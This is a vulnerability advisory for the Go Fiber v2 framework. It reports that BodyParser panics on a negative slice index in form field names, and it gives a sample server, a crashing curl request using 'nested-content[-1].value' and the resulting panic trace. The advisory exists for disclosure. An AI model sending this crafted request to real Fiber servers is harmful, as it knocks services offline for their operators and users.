Summary When using the fiber.Ctx.BodyParser to parse into a struct with range values, a panic occurs when trying to parse a negative range index

Details fiber.Ctx.BodyParser can map flat data to nested slices using key[idx]value syntax, however when idx is negative, it causes a panic instead of returning an error stating it cannot process the data.

Since this data is user-provided, this could lead to denial of service for anyone relying on this fiber.Ctx.BodyParser functionality

Reproducing Take a simple GoFiberV2 server which returns a JSON encoded version of the FormData go package main

import ( "encoding/json" "fmt" "net/http"

"github.com/gofiber/fiber/v2" )

type RequestBody struct { NestedContent []struct { Value string form:"value" } form:"nested-content" }

func main() { app := fiber.New()

app.Post("/", func(c fiber.Ctx) error { formData := RequestBody{} if err := c.BodyParser(&formData); err != nil { fmt.Println(err) return c.SendStatus(http.StatusUnprocessableEntity) } c.Set("Content-Type", "application/json") s, := json.Marshal(formData) return c.SendString(string(s)) })

fmt.Println(app.Listen(":3000")) }

Correct Behaviour Send a valid request such as: bash curl --location 'localhost:3000' \ --form 'nested-content[0].value="Foo"' \ --form 'nested-content[1].value="Bar"' You recieve valid JSON json {"NestedContent":[{"Value":"Foo"},{"Value":"Bar"}]}

Crashing behaviour Send an invalid request such as: bash curl --location 'localhost:3000' \ --form 'nested-content[-1].value="Foo"' The server panics and crashes panic: reflect: slice index out of range

goroutine 8 [running]: reflect.Value.Index({0x738000?, 0xc000010858?, 0x0?}, 0x738000?) /usr/lib/go-1.24/src/reflect/value.go:1418 +0x167 github.com/gofiber/fiber/v2/internal/schema.(Decoder).decode(0xc00002c570, {0x75d420?, 0xc000010858?, 0x7ff424822108?}, {0xc00001c498, 0x17}, {0xc00014e2d0, 0x2, 0x2}, {0xc00002c710, ...}) [...]

Impact Anyone using fiber.Ctx.BodyParser can/will have their servers crashed when an invalid payload is sent